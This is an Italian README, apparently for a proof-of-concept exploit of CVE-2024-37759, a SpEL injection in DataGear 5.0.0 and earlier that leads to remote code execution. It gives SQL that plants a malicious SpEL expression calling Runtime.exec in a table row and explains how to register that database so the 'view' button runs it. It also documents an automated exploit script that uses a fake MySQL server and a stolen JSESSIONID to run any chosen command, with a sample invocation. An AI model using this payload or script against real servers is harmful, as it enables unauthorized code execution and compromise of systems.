
Exploit proof-of-concept per CVE-2024-37759, una vulnerabilità di injection SpEL in DataGear 5.0.0 e versioni precedenti che consente l'esecuzione remota di codice tramite tabelle di database appositamente predisposte.
DataGear versione 5.0.0 e precedenti presenta una vulnerabilità di iniezione di espressioni SpEL che porta all'esecuzione di codice remoto.
Quando si richiede l'interfaccia /data/{schemaId}/{tableName}/view, se la tabella del database non ha una chiave primaria, un attaccante può iniettare un'espressione SpEL dannosa nel campo data. Quando viene cliccato il pulsante "view", l'espressione SpEL verrà eseguita.
Per eseguire l'attacco, puoi creare una tabella del database dannosa in questo modo:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
Quindi, accedi e aggiungi questo database MySQL nell'interfaccia di aggiunta schema: /schema/saveAdd.
Clicca successivamente sul pulsante "view" e l'espressione SpEL verrà eseguita.
Questo exploit è modificato da MySQL_Fake_Server. Per prima cosa, accedi al portale e ottieni il cookie "JSESSIONID". Puoi quindi usare questo exploit per eseguire comandi automaticamente.
L'argomento -t specifica il sito vulnerabile di destinazione, -o specifica l'indirizzo IP pubblico dove il finto server MySQL è accessibile, -p è per la porta del finto server, -s è per il valore del cookie "JSESSIONID", e -c specifica il comando che vuoi eseguire.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"